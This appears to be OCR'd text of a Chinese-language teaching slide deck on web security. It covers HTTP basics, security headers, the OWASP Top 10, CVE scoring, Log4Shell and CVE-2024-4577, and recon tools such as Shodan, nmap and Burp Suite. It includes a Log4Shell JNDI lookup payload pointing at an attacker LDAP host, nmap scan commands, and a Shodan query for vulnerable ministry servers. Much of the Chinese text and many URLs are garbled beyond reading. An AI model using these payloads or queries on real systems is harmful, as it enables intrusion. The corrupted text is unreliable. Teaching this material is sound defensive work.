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p Collect Data Request h
> *r—>
>

[
< %

- Display Results Response \
Users What user sees Contains App Logic
& interacts with PHP, JavaScript, Python, Java

HTML, CSS, JavaScript

f’J e“’f:‘i

Frontend - | |
r—
File System Database
HTML, CSS, Images MySQL, PostgresSQL,
MariaDB

Backend
Web Application Architecture

https://litslink.com/blog/web-application-architecture



A Uik 2R - Bl UIm £ 12 Uy

e e I
(EHEEEEN 3|8 2355k (Request)
« HTML/CSS/JavaScript « XSS
« Framework - UIER . 5'5%3%5’]%/\
Allm(Frontend) (Vue/React/Angular) . OEEI(ERE - FBE) . ZEAPIGE
- HEBIRAPLER « FBKEIRAPI «  RImAEZRIRIE
(AJAX/Fetch/Axios) (Jquery ~ Vue)
« SQL Injection
: - BEERIE  Broken Authentication
#1% (Backend) NECEISAIRRC AT o oo (RZ2HSHRE)
Database - File Storage . BBl . = LEEE

« RIFERIAPIZE



} HTTP RequestfZResponse

HTTP Request(5&>K)
HTTP Method(737%)
HTTP Header(1£§8)
Path(BRIEE)
CRLF(IITHRFR)
Body(R &)

HTTP Response([ElFE)
HTTP Status Code(ik &5 45)
HTTP Header(1£g8)
CRLF(#ATHRF%)
Body(R&)



HTTP Method(73%)

« RBEEEREERURLETHERERFE

#EHTTP Method

GET SR EE (BT B R Z 8 R(URLES 28
R (RZ)ER e L
POST Body ER BEMER XSS + CSRF ~ SQL Injection
PUT I - CEIRAER IR I TR R
DELETE Rk IS R &R KBEEEEEAEMG
/ES\'GET*E,HJ NN =]
HEAD WERSHTTP IR & B2 1R ER ARNABESHE
f2 1y A B R A B BT FB e T i B
CONNECT (B4 HTTPS ) ( Proxy% )
OPTIONS & FIR BB R B R ARE BTN
TRACE B U B 3R DIREZE XST

( BIAEHIKIEE )

PATCH ENERNBHAR ERARIEEREBENL



HTTP Status Code([Bl FEAR BEHE)

#ZHTTP Status Code

e FENRLALE 200 OK R &4 B T G0
- KATEE
o IXXEIEIHE 301 EMEE RO IR E
s : SE S E)
o 2XXBXINIE]FE 302 BRI SR S B R 1
. - EEFEY
o« 3XXEHE[D 304 EME (e B R EUAR A
i pgt a2 T I NP
. AXXHAEIEES 400 ARER BER - FAEEEH
. oYX AR LS 401 RIS 8752 A5 TokenE 2
WH AR
403 25 || 1B N
404 % R B EE URL3Z S
500 FIRRE  AertiE . EREEEES
o eenee | IBRSEE EERIRRSRI )

— oo AR5 E A A
503 'TEJH&EEEEIH#\‘ —_l-lﬁAEIEE ==E—‘Z£& EF'



HTTP Request(:53K)

« Request Line : /FKFA+BKREIR(URN)+HTTPRRZA

Request

Faw Hex
GET / HTTRE/Ll.1

”LhL.mlum”:v="123”, "Not: A—EBrand'" w="1g"
H'hil=: 70

rr'rrlll 1 1-—-"

Ving4; x64) AppleWebhHKit/ /.36 (EHTHL, like Geckaol

ion/®ml;q=0.9, image/avif, image/wehp, image/apng, */ *:=0.8, application

br
:,%n—US:q=U.E.=n




Response

Pretty Raw Hex Render

HTTF/ 1.1 200 OKE

cache-Control: private

Content-Type: text/html;

K-¥35-Protection: 1: 0 block

K-Content-Type—-0Options: nosniff

Feature-Policy: microphone 'none'

Permissions-Folicy: camera=|()

Referrer-Folicy: origin

Strict-Transport-Security: max-age=480; include3ublomains

Content—-Security-Policy: default-src 'nons': script-sre 'sslf! =wal' 'unsafe—-inline'!

https://c: google cse.ds https: /o wgrle . com/cse/element,/ https:, =1 ogle. com/adsense/search/async-ads.Js

htops: . ' 1 Jletaqunanager. ¥

https: =—¢2 rtics. / AW . g /

https://partne adservi com/ ookie.js ¥ ok.net; img-sreo

Y.ytimg.com https Lgoodletagmanager . a https:// .google.com. tw/ads/

https://ssl.gstatic.com/ s www.google. com/cse/static lientsl.gc

https:///encrypted-thnl . gstatic.com; frame-src 'self' 'unsafe-sval' 'unsafe-inline! i [

B ol https:, b boc 4 style-sre 'self' 'unsafe-eval' 'unsafe-inline' https://ecdn.jsdelivr.net
ffwww rle.com/cse/stac H font-srec 'self' 'unsafe-eval' 'unsafe-inline’'; frames-ancestors 's=lf';

connect-src 'self' https://analytics.: gle.com/g/fcollect https://csp.withgoogle. com; media-src 'self!

K-Frame-Options: SAMECRIGIN

Date: Mon, 02 Jun Z0Z5 Og:50:09 GHMT

Connection: close

Thrmtrant T amert s 17 EA0 0

<!'DOCTYPE html>
chtml lang="zh-Hant">
<head:>
<meta charsec="UTF-8" />
<meta name="wviewport"” content="width=device-width, initial-scale=1l, minimum-scale=1l, maximun-scale=L"
<meta http-equiv="¥-UA-Compatible" content="IE=edgs" />
<title>
00000000000

</fticles
<meta name="description" content="00000000000C™
<meta name="author" content="00000000000" /f:

<!——favicon-->

<link rel="shortcut icon™ href="https WWw. k =a.gov.tw/favicon. ico™ />
<!—-main style css-->

£link rel="styleshest"™ href="/Content/geometry/css/style.cs3?v=20241022" /=

<link rel="stylesheet”™ href="/Content/geometry/css/style.css?v=20Z241022"
“ | ——Juer v———=
< JOUELEY >

<script sro="/Scripts/Jjquery-3.6.0.min.Jjs">
</script>




EINZ=4 HTTP Headers

28/ Ll

B Lk JavaScript 7ZEY
HttpOnly Cookie
e ool e XSS ( IBUAMIARIZEE )
EFTE HTTPS S
Secure Cookie
FrLERRIAZER ( MITM )
default-src
Content-Security-Polic script-src Bk JavaScript 7L
CSP 4 i img-src Cookie
(CSP) FoREsic 95 XSS ( FEIERIATIER )
frame-src
DENY
X-Frame-Options SAMEORIGIN Clickjacking
ALLOW-FROM
X-Content-Type- style : e
Options script B Lk Content-Type #XE& X
Strict-Transport-
: sl FAHTTPS
Security Max-age=......... LERI AT ( MITM

. no-referrer o
Referrer-Policy o SENNFZFL
origin
https://yu-jack.github.io/2017/10/20/secure-header/



Security Headers

Home About

0 Security Headers

by snyk
Scan your site now

Scan

B Hide results v Follow redirects

Security Report Summary

IP Address:

Report Time: 18 Jun 2025 00:33:13 UTC

- + Strict-Transport-Security ] ® Content-Security-Policy | % X-Frame-Options | % X-Content-Type-Options
Headers:
% Referrer-Policy | % Permissions-Policy

Advanced: Your site could be at risk, let's perform a deeper security analysis of your site and APls: Start Now
Missing Headers
; ) Content Security Policy is an effective measure to protect your site from XSS attacks. By whitelisting sources of approved content, you can prevent the
Content-Security-Policy B 5 i 4 EE ¥ B

browser from loading malicious assets.

Y.Frame.Options X-Frame-Options tells the browser whether you want to allow your site to be framed or not. By preventing a browser from framing your site you can
i defend against attacks like clickjacking. Recommended value "X-Frame-Options: SAMEORIGIN".

. X%-Content-Type-Options stops a browser from trying to MIME-sniff the content type and forces it to stick with the declared content-type. The only
X-Content-Type-Options K . . X .
valid value for this header is "X-Content-Type-Options: nosniff".

https://securityheaders.com/



Google CS

CSP Evaluator

CSP Evaluator allows developers and security experts to check if a Content Security Policy (CSP) serves as a strong mitigation against cross-site
scripting attacks. It assists with the process of reviewing CSP policies, which is usually a manual task, and helps identify subtle CSP bypasses which
undermine the value of a policy. CSP Evaluator checks are based on a large-scale study and are aimed to help developers to harden their CSP and

improve the security of their applications. This tool (also available as a Chrome extension) is provided only for the convenience of developers and
Google provides no guarantees or warranties for this tool.

Content Security Policy

Sample unsafe policy  Sample safe policy

default-src "none’; script-src 'nonce-clFENUxPR245NE45bDY4Mw==" ‘strict-dynamic'; img-src 'self’ data:; style-src 'self"
‘unsafe-inline’ ;frame-src "self’ https://waw.google.com; media-src 'self’;font-src 'self’;object-src "none’;connect-src
'self"; base-uri 'none’';frame-ancestors ‘self’;

| CSP Version 3 {nonce based + backward compatibility checks) Vl L7}

Evaluated CSP as seen by a browser supporting CSP Version 3

+ default-src -

Consider adding 'unsafe-inline’ (ignored by browsers supporting nonces/hashes) to be backward w
compatible with older browsers.

@ script-src

Consider adding hitps: and hitp: url schemes (ignored by browsers supporting "sirict-dynamic’) to be
backward compatible with older browsers.

~  img-src -
- style-src ¥
« frame-src ¥
+  media-src ¥
~ font-src .
- object-src -

ronnact gre -

expand/collapse all

https://csp-evaluator.withgoogle.com/
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OWASP TOP 10

2017 2021
A01:2017-Injection A01:2021-Broken Access Control
A02:2017-Broken Authentication A02:2021-Cryptographic Failures
A03:2017-Sensitive Data Exposure > A03:2021-Injection
A04:2017-XML External Entities (XXE) [(New) A04:2021-Insecure Design
A05:2017-Broken Access Control A05:2021-Security Misconfiguration
A06:2017-Security Misconfiguration A06:2021-Vulnerable and Outdated Components
A07:2017-Cross-Site Scripting (XSS) A07:2021-Identification and Authentication Failures
A08:2017-Insecure Deserialization (New) A08:2021-Software and Data Integrity Failures
A09:2017-Using Components with Known Vulnerabilities ’{’//>A09:2021-Security Logging and Monitoring Failures*
A10:2017-Insufficient Logging & Monitoring (New) A10:2021-Server-Side Request Forgery (SSRF)*

* From the Survey

https://owasp.org/Top10/zh_TW/




A01:2021-Broken Access Control
HUNEFENEE




A01:2021-Broken Access Control
YN FEEE

- AIEERFAPHERIFIVER - SECRERERNERZ R T RRIF FEGE

=E==AYIAS

BEi#5|HEMNEYHRYIDORIRHE
W RURLETEEFIREFPRRFER

https://example.com/customer account?customer ID=122333

LRI - MEBEETHZEUE(customer_ID) - ZBRENEHEEEMEFIRFEH -
EAKFHESREM - oJseEREMIMNE - LREMNEEN
— B OHITEEEI6EE
- JK¥ ¥ ( Horizontal Privilege Escalation )
FEREBFINEMERZENER
o REuEEEIRMIER/MS SIRIEAPI
R Z R - ERIRAIRIE



A01:2021-Broken Access Control
A

RO AHER - EMER—FZRILEHAFEITE

= AR B #25 EIN8E(Directory Listing)
ERESENERERNSHUEREDELEEH

% 1E 18 = WCORSFHUR IR B /5 7%

[Ef&EfEAAOAuUth ~ SAML ~ JWT ~ OpenlID Connect#l



A02:2021-Cryptographic Failures
TN Z2 1 il SR XL



A02:2021-Cryptographic Failures
HD%\T&%J%&‘Q

EREBRBES  REERERANBS NN ERRSVES L - SHEUNERNJBEMFEE - BBk
i
R CIE ki

Ew@EPERBS(HTTP)

EAHERIINMNEEEAMDS ~ SHA-1 -~ DES » RC4)

PURE R ARINE T



A02:2021-Cryptographic Failures
e AU

= FEGRRYINE B S

AES-256 ( ¥ 0% ) RSA-2048

ECC ( FEEHEINE )

SHA-256 D FFE=EEIXR
FEEmEUERMEATLS 1.2(1.3)/HTTPS
M58 2 4% EA R SR AV E 12

JIIEEES: S

PRI S &l REL
ZEMRAE

BT R AR
s EZ F1F88(CSP ~ HSTS)




Google ChromeZlE 3

B2 x PEBSHE

8 HEEZEAE - Google Chr

e BRRPESEFR

D/L_,\ iE | |£
%E 2n I%‘ Ei 2025—00=02_‘L831|/\QGOOQE *-’ -“

E=I S
s RATA

Google 3

» B 2025 & 8 A#E » #% Chrome ZIBRTEUEH T =S EEQTFIBEERE Netlock FrEid BRNERIE
£+ ILESHEERAR Windows * macOS ~ ChromeOS + Android £ Linux *F&#) Chrome 139 FRAELLE - Google 3838 » EIEE]E
ERTHECREZZEREES

EBEFE%&E

https://infosecu.technews.tw/2025/06/02/google-chrome-cht-certification-
authority/?fbclid=IwY2xjawKghnhleHRuA2FIbQIXMQABHgdVvBPmLpO6tEKU



A03:2021-Injection
EABLEE




A03:2021-Injection
} EAIEE
EAEIIRGEHBRENEEBESBZZENRE « RENBIE -
w BRI A
SQL Injection
Cross-Site Scripting
Command Injection
NoSQL Injection



A03:2021-Injection
SQL Injection

« I SQLIETIAEBRENRRED @ BREERETR
- Authentication Bypass : #8% AR
« Union-based Injection : Mlunion&E#&EEE R
» Error-based Injection : ftiEsRN 2 PHISE
+ Blind Injection : AREERARENE - FHESRAF RIS ER
(R# BN ESEEESE)

https://tech-blog.cymetrics.io/posts/nick/sqli/



A03:2021-Injection
Cross Site Scripting(XSS)

WEERBERAIAZHEF  £EMEREZEEBERAT  BRNEFEE
cookie ~ session ~ ETHRNASHERHEBERF -
EREAN .
512 (Reflected XSS)
FERHEMBRERES - uBICIERNTT
12 (Stored XSS)
WEZLABHBERBEFHEN  NEaHEEEARsSWES] - PIXZE)
DOM-Based XSS
LR ATZTER A% JavaScript #1E DOM B

https://blog.huli.tw/2021/10/25/learn-frontend-from-security-pov/



A03:2021-Injection
Command Injection

WEERBRRFw IAEBHEI TR Ekes: CATIZEEEREHER
AHEN R M5 (@W:shell ~ PowerShell ~ cmd) - FEIEREEIE RSN HITAR
KIEENERES
J7 b

NITERRFAES

BRHEE L ~ INB L ER

ARz EABERET

https://www.cc.ntu.edu.tw/chinese/epaper/0039/20161220_3905.html



A03:2021- Irjg’ection
SEEER)

FHSEEE (Parameterized Queries)

= FHORM(Object-Relational Mapping - #)1FEaHsEIR) T 2t e EhEs 13 SQL F &b
Him ANERETREREERS

FAB BB (Whitelisting)@BERER - B - RE

FEAHZEN API SRR E e B EA Shell ~ 2K (40 : exec(), system() )
S ARFES L FXX(HTML, SQL, JSON, JavaScript) B¢ E # % (Escaping)

BR 1 M 575 128 PR I 1 24 52 A & 15 BA B {4 PR (Least Privilege Principle)

XA Web Application Firewall (WAF)/E R [EiE®E REFAKEET



A04:2021-Insecure Design
xﬁénin



A04:2021-Insecure Design
AL ZEE

amETlEEAZREZRGEARERN - BRARTERBINVERE -
BRERUNRDEHM

moR iR S HE B D IR B

IVILEIpES

FEE R E & ARNNE

A SIERI R I 2 B8

R = hE = DR EE ek S il REPR



A04:2021-Insecure Design
EEEE A

&/ \VEBRIR R ( Principle of Least Privilege )

SEMRR R EEA T LIEPARNREER -

BREITNEEME APl ~ EIRTEEMNEFEL -

H#BFaaRoET ( Deny by Default ) 2#TREIEEMARK - EXsFHEEEEARIIRIE -
FrR Bl ( Fail Secure ) Z#ttEiEsR ~ BN ERR - BARBZEIAE -



A05:2021-Security Misconfiguration
ALZZRIHERRERTE



)

A05:2021-Security Misconfiguration
AL ZRIHREE E

Efk=s - MWESRTS ~ ‘e - BRAEI - 7o - B3R - EREEERSE0

\IPHERVRRTE - B VIRRRARE ~ fHERAURRE « BERE - B8
EBR "' AREWHERERE ) -
B RIEIR

{5 FATR AR MR AR 2 4%

b aRall S et A B N A B2 B

RAEERAMZERINEE / HEHEMIAEE ~ debug B
fEZe i ERE X

ERREE
ES RS2 )



A05:2021-Security Misconfiguration
e AV PSP

i3

R
Hp

sR{CTREG AR K
B ERTEER IR SR AR
ERRERNINEE - RRFESIEA
% BRphpinfo() ~ BREETE

BECERE(CELEETE

1E PREA T HU#ZE )
EFHEINEEE T/ MERER
ERF U EENIPENEETE
ZEREE(MFA)

g D NN

Z2 BN EHEIERE

}



A06:2021-Vulnerable and Outdated Components
fEbEEL B ER T



> A06:2021-Vulnerable and Outdated Components
fEhwsk @ ERI T
AFEPER T EEZEMREEEF EEREHEERN

X /E / EfF(Library/Package)

FEZL (Framework)

ESE R

‘FEMRFEARFE (M0 :Web Server ~ ERlEZ)

BELTHOEEMNEENA  ERERRR - BIn9T - #REASERE -



A06:2021-Vulnerable and Outdated Components
e AU aDy

MEEEESE

AlH EEANE=STTH(EERE - KREIFEFE)
EHNITI R IR 1E
ERREENRIRLZETH
BRAERAELENRE
TE AT S 9T /A
BIRARERR T



A07:2021-ldentification and Authentication Failures
S ne AL 6 R g 1 Il SR %Y



A07:2021-Identification and Authentication Failures
one MR EE T R XY

2B N EEHBANBEE 2 MRE - RAeeXZ=8HoiRE 'BhigE ., B ' ETHESHE
H BOEH - ERINEBRERIEAHRERE G EN R T LaOGRME - WERES
255k Session Token » EFHE KA MM EREMHEFRE DI FEEBREIR -
THEERIE

DR NSRRI E

FRATERIRTIEMN - B - REE A ARAK LN

EREN ~ REMNEB R IVEEENS

RV IR Z E B 7 5nE

EURLF 2 FISession



A07:2021-ldentification and Authentication Failures
SZEELD A

s (2R A B SR
ZHRE - EHEJ2Z B HENIST-800-63
FlEZER N AR - Btk PHEE - REISEERNNEFE
FERZEZMN A INEEEN
B E R REEE S (multi-factor authentication, MFA)
Z 2 HSessionEIE
15 A A AR R TE SR
NO5R A& % A B 7
TE HASN 17400 B2 02 3 R A



A08:2021-Software and Data Integrity Failures
BN EE R E T ST R MR




A08:2021-Software and Data Integrity Failures
R RS N B T ST B R R

ERMVRETGERNBAREREEZVRAERNTEN  FHEEARIEAR
2RI - EERYIRIEENRE -
MRERIE

EREANIIMNI L ETFRERAREERIRIR

R I B2

AZE2RFEMES/EE(ClI/CD)RIE



F BB T ER Do cker IS R IBIE & 7 I REREE

$EKPalo Alto Networkst I EAE » SFRBFESMUMBEEST » RBREASEZBNEEREE %8
FEXEOEERRE

3/ W& | 2021-03-31 %% E3

{EiE~2E ' Photo by Ayana Fragoso on pixy

https://www.ithome.com.tw/news/143546



A08:2021-Software and Data Integrity Failures
e AU PSPy

AR EENEHFEREIR

i8{t CI/CD &t
sgigcd / SEE TS fRIEE

JRYGHE AR AT N 32 B mE

HATERES AH AX (R 72) 72 (SCA) 15 1

22N e S R P B IR BUR

E1fi DevSecOps



A09:2021-Security Logging and Monitoring Failures
E LRI M EER



A09:2021-Security Logging and Monitoring Failures
B A0k M B R R

RNeoirE B IR R AR E A/ Bt //oht - ERNERETREAEN - Bl RE -
e EENBZE—IHERRUNBEMEZ 24
- BRIBWARER

=Y

« RCERMEAKXRN - EETHEFIEREN

« ARUEBENNBIREEZEZETS

- HAHENERSHRERRE

- HBEHSRBEEARM(EHK) BN EBEMIFREE L



AO9 2021-Security Logging and Monitoring Failures
=V NPrA

BT R L Z e #x(Security Logging)

ERFIBEA ~ FHUESIRK - A bRRE KM EES W EC BRI H S
BitER1TRENR ( Behavior Analytics)
SHEREEA]
EHEZEHRES
21 =M ERE

FSEHEE(IR)
SR EEFERIE(ERS)
EIR5t=(DR)



A10:2021-Server-Side Request Forgery(SSRF)
fal Ak Iim 55 3K (R 25



A10:2021-Server-Side Request Forgery(SSRF)
5] A Im il K 12

WEBZFEERFDFFFRANUERZERERK - FIRNEERIINTZ4 - clBeER
Bl INR S tmm B E -

Internet Intranet
GET Http://website.com/id?
@ content=http://10.0.0.1/administrator . Request > .e
m " < - q
Response: Admin panel Response
website.com 10.0.0.1

Attacker

https://www.imperva.com/learn/application-security/server-side-request-forgery-ssrf/



A10:2021-Server-Side Request Forgery(SSRF)
ErElNiE A

1 55 A P A B 5B oK
=% & B K (W:iptables)EAEAES IP #Y outbound 555K
H&E URLBE
ERFFEERURLELABSE - 17 # i A S E8ETTRBERE -
AnFB P ASZURLEIPEZERBEKBEE -
ERANERN URL E35I08E:
B R EAZCB%
s ERINEBEA N EIRIHTTPE K log - ETER T HRERHIELENE -
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CVE -
Common Vulnerabilities and Exposures

« 3B MITRE GE=R1#iE) T S E

- mi#mIRAMKCVE+2025+12345

« Known Exploited Vulnerabilities Catalog
- S ECVEMRIR
- RAEBEWEZA AN

. EEARENERER  NCEMER

. CVSS 4

NVD . B

— s e

MITRECVE  SBREAZS
Exploit-DB =

GltHUb /)FI?/HPOC

Nessus R TE

OpenVas


https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=&field_date_added_wrapper=all&field_cve=&sort_by=field_date_added&items_per_page=20&url=
https://nvd.nist.gov/
https://cve.mitre.org/
https://www.exploit-db.com/
https://github.com/

CVSS - .
Common Vulnerability Scoring System

« CVSSV3xmEIAR :
- HAXRF 45 (Base Score)
- IQEM@mE ( Attack Vector, AV)
- WEEHE (Attack Complexity, AC)
- FTEH#ER ( Privileges Required, PR)
- {EFEGE (User Interaction, Ul)
- WEREE (HKEBMHC - TEM - OFHA)
- [FEFED (Temporal Score)
- TRIAMBHEARE WBRBHAAES
- IRIEFF(Environmental Score)

- BB TEHBRENTERE (2EEE JEREENT)

2 BiEE

0.0 378 P
0.1-3.9 1K (Low)

4.0-6.9 i (Medium)
7.0-8.9 = (Hight)
9.0-10.0 EE(Critical)

https://nvd.nist.gov/
https://cve.mitre.org/
https://www.first.org/cvss/calculator/3-1



CVE-2024-4577 x CVSS v3.x

AKCVE-2024-4577 Detail

Description QUICKINFO
In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3 before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set up to CVE Dictionary Entry:
use certain code pages, Windows may use "Best-Fit" behavior to replace characters in command line given to Win32 API functions. PHP CGI CVE-2024-4577
module may misinterpret those characters as PHP options, which may allow a malicious user to pass options to PHP binary being run, and NVD Published Date:
thus reveal the source code of scripts, run arbitrary PHP code on the server, etc. 06/09/2024
NVD Last Modified:
03/28/2025

Metrlcs CVSS Version 4.0 CVSS Version 3.x CVSS Version 2.0 Source:
PHP Group

NVD enrichment efforts reference publicly available information to associate vector strings. CVSS information contributed by other sources is also displayed.

CVSS 3.x Severity and Vector Strings:

CNA: PHP Grou Base Score: JEEL:1 [« 11 Vector: CVSS:3.1/AV:N/AC:L/PR:N/ULN/S:U/C:H/I:H/A:H
G p [ 9.8 crmica | JAV:N/ACEL/PRN/UEN/S:U/C:H/EH]
CVSS5 v3.1 Severity and Metrics:
Base Score: 9.8 CRITICAL
. . . Vector: AV-N/AC:L/PRN/UIN/S:U/C:H/IH/AH
References to Advisories, Solutions, and Tod .. actscore: s
By selecting these links, you will be leaving NIST webspace. We have provided these| BXPlotability Score: 3.9 have
information that would be of interest to you. No inferences should be drawn on accq from this
page. There may be other web sites that are more appropriate for your purpose. NIS Amc“mor[“,w: Network Kpressed,
. . Attack Complexity (AC): Low

or concur with the facts presented on these sites. Further, NIST does not endorse an Privileges Required (PR): None nedon
these sites. Please address comments about this page to nvd@nist.gov. User Interaction (U1): None

Scope (S): Unchanged
T ity i I
http://www.openwall.com/lists/oss-security/2024/06/07/1 Integrity (1): High

Availability (A): High

e

https://nvd.nist.gov/vuln/detail/cve-2024-4577
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{88 | SHAREPOINT

WY CVE-2025-49706 o

Microsoft SharePoint B858 A =& : Microsoft SharePoint B §—1E5258 T S5 » AsF T B E FiBIEEITESE o it
LhF e » WEE AT EE S S AN S B E ST E o IR ATAEEE CVE-2025-49704 BB o CVE-2025-
53771 BYEFTEE CVE-2025-49706 B EETEEM T Ead A BIIREIEHE o

#HBA CWE: CWE-287

SH AR EREASEE 7 KA
178 : CISA BEPETSFER S MmiBEERLRIE (FoL) 2R " SRHSEHER : 2025-07-22
F5421E (EOS) BYEMIA FBY SharePoint Server R s © " EEAE : 2025-07-23

5140 » SharePoint Server 2013 2 E RhRAECEZER L6
HEAERIE - MRHTEER @ BIHELLER - 3t
SZFEBARA o SAIRYE CISA AL FERSAYER ERR ENAE AR
B © 558 <PE AR EIHARFERY BOD 22-01 5/ ©
WSR2 E 0] BRVERRIEH » sRFILEAZER °

B INERER +

https.//www.cisa.gov/known-exploited-
vulnerabilities-catalog
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2010
Stuxnet
(Z1E Windows 0-day)
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0 day(zero day)ZEB R
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CVEH#i - BREFEAREZELEMIE®H)EDN
- BREMBERERELEMMELANET A
B EL - BEAZERANEN
FERZEE R (EAEBW

- BOAARKE

+ BURBARSFE(ESESEWL)

2014 2017
CVE-2014-1776 CVE-2017-0199
(IE 0-day) (Office RTF)
® ® ® @ ®
2013 2015 2018
CVE-2013-3906 CVE-2015-5119 CVE-2018-8174
(Office TIFF) (Flash Player) (IE VBScript)

2021
CVE-2021-44228
(Log4Shell)
@, @
2023
CVE-2023-23397
(Outlook)
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CVE-2021-44228
Apache Log4j2Z H &’

oj

« Log4Shell x Apache Log4j2 RCEJ®E
« CVSS3.08¥7107(&EEL07)
- R EFHE . JavaRHFEREApache Logdj 2.0-beta9%2.14.1 JNDI Lookups 1@
- EEZE  Microsoft ~ Apple iCloud ~ Cisco ~ NetApp - Steam ~ Minecraft
o BRRTITIE
« 1. ZEApacheEHAILog4) 2.158k
- 2. FERBFTRARJava SDK (JDK) - BRHIINDIRER A

https://medium.com/cycraft/cve-2021-44228-ffad06b53002
https://www.cht.com.tw/home/campaign/IntranetService/doc/002.CVE
_2021_44228.pdf



CVE—2021—44228

oAl

‘ An atlacker can exploif feafures in Loghj to execute rrmlh:mus code on a host whr:n dafa controlled

by the altacker is logged with Logj.

An affacker sends q

request to a winerable. [ BET/ HTTP/1A

web fppkicuirnn ) l:}sgr-Agenh ${ jndi:Ldap:#atiacker.

Ueer—Agent s sct] .

fo the payload Logkj inferprefs the string and The t}lﬁmhm
that friggers the performs a DI lookup. () @ logs I
volnerability _ | ® -

~ ~temole LDAP query is friggered —

L =) —— response -:t.ﬂnins@lnmﬂun of Java class file
affocker wifq- requesi 1o load the -::{n.ss file
 class file is lmd&c!—-md eveculed

seculty ~ﬂnshcnﬁda+n:nrmj

https://medium.com/@aka.0x4C3DD/log4j-vulnerability-cve-2021-44228-
log4shell-a-zero-day-remote-code-execution-exploit-9440cdble771




CVE-2024-4577
Windows x PHP CGI



CVE-2024-4577

&
@

N
’PHF‘ L() 1

.
“
&
”,
f
4
e

https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-
argument-injection-vulnerability/



CVE-2024-4577
PHP x XAMPP

2. # XAMPP for Windows &
) C e
ﬁ EEEATHET » XAMPP kst bR RE L LBy EHesl  nE2EEY —
XAMPP il #{F HE| PHP CGI ZIh&E » & BIEBL T3 Apache Hitpd 32 EELIB R R

EAESMT:
1P + Perl

| C:/xampp/apache/conf/extra/httpd-xampp.conf

REEHERRETE
ScriptAlias /php-cgi/ "C:/xampp/php/"

mﬂ%ﬂﬁj—:ﬁ' velop locally but that are

e B . 05 o e Ao
# ScriptAlias /php-cgi/ “C:/xampp/php/

https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-
php-cgi-argument-injection-vulnerability/
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« Google Hacking

My
ol

«  Wapplyzer
« Shodan(Censys/FOFA/ZoomEye)
«  WPScan(WordPress)

- EIE=RR
o REDRIEL
*  nmap
« Burp Suite
« Sqglmap
« Exploit DB

B4 OO

« BlE23+curl(Bash)+CurlConverter

« Metasploit
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Google Hacking

Operator Purpose Mixes with Other Operators? | Can be used Alone? | Web Images | Groups | News
intitle Search page Title yes yes yes yes yes yes
allintitle!® | Search page title no yes yes yes yes yes

inurl Search URL yes yes yes yes not really | like intitle
allinurl Search URL no yes yes yes yes like intitle
filetype specific files yes no yes yes no not really
intext Search text of page only | yes yes yes yes yes yes
allintext Search text of page only | not really yes yes yes yes yes

site Search specific site yes yes yes yes no not really
link Search for links to pages | no yes yes no no not really
inanchor | Search link anchor text | yes yes yes yes not really | yes
numrange | Locate number yes yes yes no no not really
daterange  Search in date range yes no yes not really | not really = not really
author Group author search yes yes no no yes not really
group Group name search not really yes no no yes not really
insubject | Group subject search yes yes like intitle | like intitle | yes like intitle
msgid Group msgid search no yes not really | not really | yes not really

https://yu-jack.github.io/2017/10/17/google-hacking/
https://www.exploit-db.com/google-hacking-database




} Wapplyzer

ANEER20| BZEFERE: X+

C 25 9hrki2ea.gov.tw 19 _

S b

& 15 E2E ¥ Export
L C 1. Google Analytics ca4 O CKEditor

Rvi < x
ﬂg nxg&é JavaScript #£28 213
E*Ij\gﬂﬁél Y \Vuejs 2714 pp  PHP

P,

El Inettiajs : _
JavaScript H3{ &
/ .‘; SE % =24 & Select2
s HIZES AT
"*’ [ i $ HSTS & jQuery Migrate 3.4.0
L X \\ s & core-js 262 4
° =7
e AN CRESREZHABRETIHARSRERAMESRERAZ - ~. A
+ B 7 X E  EEERRTE  ARESENEALAR © Glyphicons
— . / .
o — [J)  Font Awesome JQuery UL 1.13.2



Shodan

’.‘ SHODAN Explore Downloads Pricing & org:"Ministry of Education Computer Center” vuln:CVE-2024-4577

i View Report &% Download Results Lt Historical Trend
Access Granted: Want to get more out of your existing Shodan account? Check out

Taiwan, Taipei

eol-product

HTTR/1.1 288 OK

Apache httpd edu.tw
- Issued By

- Common Name 1.1p PHP/8.1.12
TWCA Secure S5L Certification

Authority

nginx
9 includesubDomains

Microsoft IS httpd * Taiwan, Tainan
Terresi

E H rl ;ET\:'AN _(;Ah

Issued To:

T T T, B = |

Windows

- Common Mame

Ubuntu

Supported SSL Versions

TLSv1.2, TLSv1.3

- e
e 2.4.55 (Unix)

PHP/

https:www.shodan.io/sear h/examples
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nmap

« Nmap BRWNRGHENAEFHEERI TR - R IRHERE e E NV ERE - #ShlE
W& ~ WAEERAAMRANERTS - RISTREHEBBEMArIIEE(Nmap Scripting Engine) -

we @@

nmap 192.168.1.1 i E —IP(EH)

nmap -sP 192.168.1.0/24 PAPIng 73 =\ i i 22 {8 4 Ex

nmap -sS -p 22,80 192.168.1.1 SYNA iR E—IP(E )5 ER

nmap -A 192.168.1.1 HEPS IR E —IP(EH) - AR EREE - HER

FREARRZR «~ ERIFERAS

nmap -p 21 -Pn --script=ftp-anon -iL FTPERZE ARZAHE - +85E21 Port - iF1HEE
ftp_ip.txt -oN scan_results.txt B & ERE R tp_ip.txt - Eitiscan_results.txt

https://nmap.org/



Burp Suite

4(

Burp Suite is an automaled and manual
Securidy testing fool used by Reseachers,
Bug hunters, Pentesters elc to test web Apps.

(. Avuiloiie as W

IR

Communil»g Rrofessional
Edition Editon

Has almost
ele\j thing
You Need o
test an app
Though there are
few limitations
on auiomated
Scanning and
Inbuder power.

Enterprise
Edition

DasuBoARD | PROYY REPEATER

o —

Server
l

Repeater as U5
name suqgets is
used to test a
gingle Request
endpoint
ve.po.o.l-ed.lj-

BURP SUITE

DASHBOARD PROXY| REPEATER
Burp Suile dashboard. is the endry Screen

DASHBOARD [PROXY REPEATER

@ Sec.-¥P
Qecurity Bines.com

of this +ool.

This seckion mosHy les you See if there is
oulomated Scan yunning and what is iks Status.

Active
Scanning.....

issues
identified
Alerts or | Descriphon
chuj Msq of

issues

This prox
Request-.

PROXY REPEATER INTRUDER
Disk
lpmjhnd_

Initial

N\_ Request
oy —> ’l’:‘f-.‘:;:n}, $
TIntruder is used +o |

outomate customized

altacks to Request
Endpoint. Just specify |

40ifF altacK types

————
Qg

[
\k"

| o I
location and Pagload tisk | 3 i and. custom Funchionalities to burp.

1

in Request.

Browser

